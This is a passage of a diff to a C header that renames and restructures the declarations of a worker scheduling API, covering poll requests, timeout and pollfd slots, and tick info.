properly. -*/ -static const prne_worker_sched_flag_t PRNE_WORKER_SCHED_FLAG_TIMEOUT = 0x02; +void prne_init_wkr_sched_req (prne_wkr_sched_req_t *r); +void prne_free_wkr_sched_req (prne_wkr_sched_req_t *r); +bool prne_wkr_sched_req_prep_poll (prne_wkr_sched_req_t *r); +void prne_wkr_sched_req_refl_poll (prne_wkr_sched_req_t *r, const int poll_ret, const struct timespec elapsed); +bool prne_wkr_sched_req_do_poll (prne_wkr_sched_req_t *r, int *poll_ret); + +prne_wkr_timeout_slot_pt prne_alloc_wkr_timeout_slot (prne_wkr_sched_req_t *r); +void prne_free_wkr_timeout_slot (prne_wkr_timeout_slot_pt s); +prne_wkr_pollfd_slot_pt prne_alloc_wkr_pollfd_slot (prne_wkr_sched_req_t *r); +void prne_free_wkr_pollfd_slot (prne_wkr_pollfd_slot_pt s); -bool prne_init_worker_sched_req (prne_worker_sched_req_t *wsr, prne_worker_sched_req_mem_func_t *mem_func); +void prne_init_wkr_tick_info (prne_wkr_tick_info_t *ti); +void prne_free_wkr_tick_info (prne_wkr_tick_info_t *ti); +void prne_wkr_tick_info_set_start (prne_wkr_tick_info_t *ti); +void prne_wkr_tick_info_set_tick (prne_wkr_tick_info_t *ti);
\ No newline at end of file |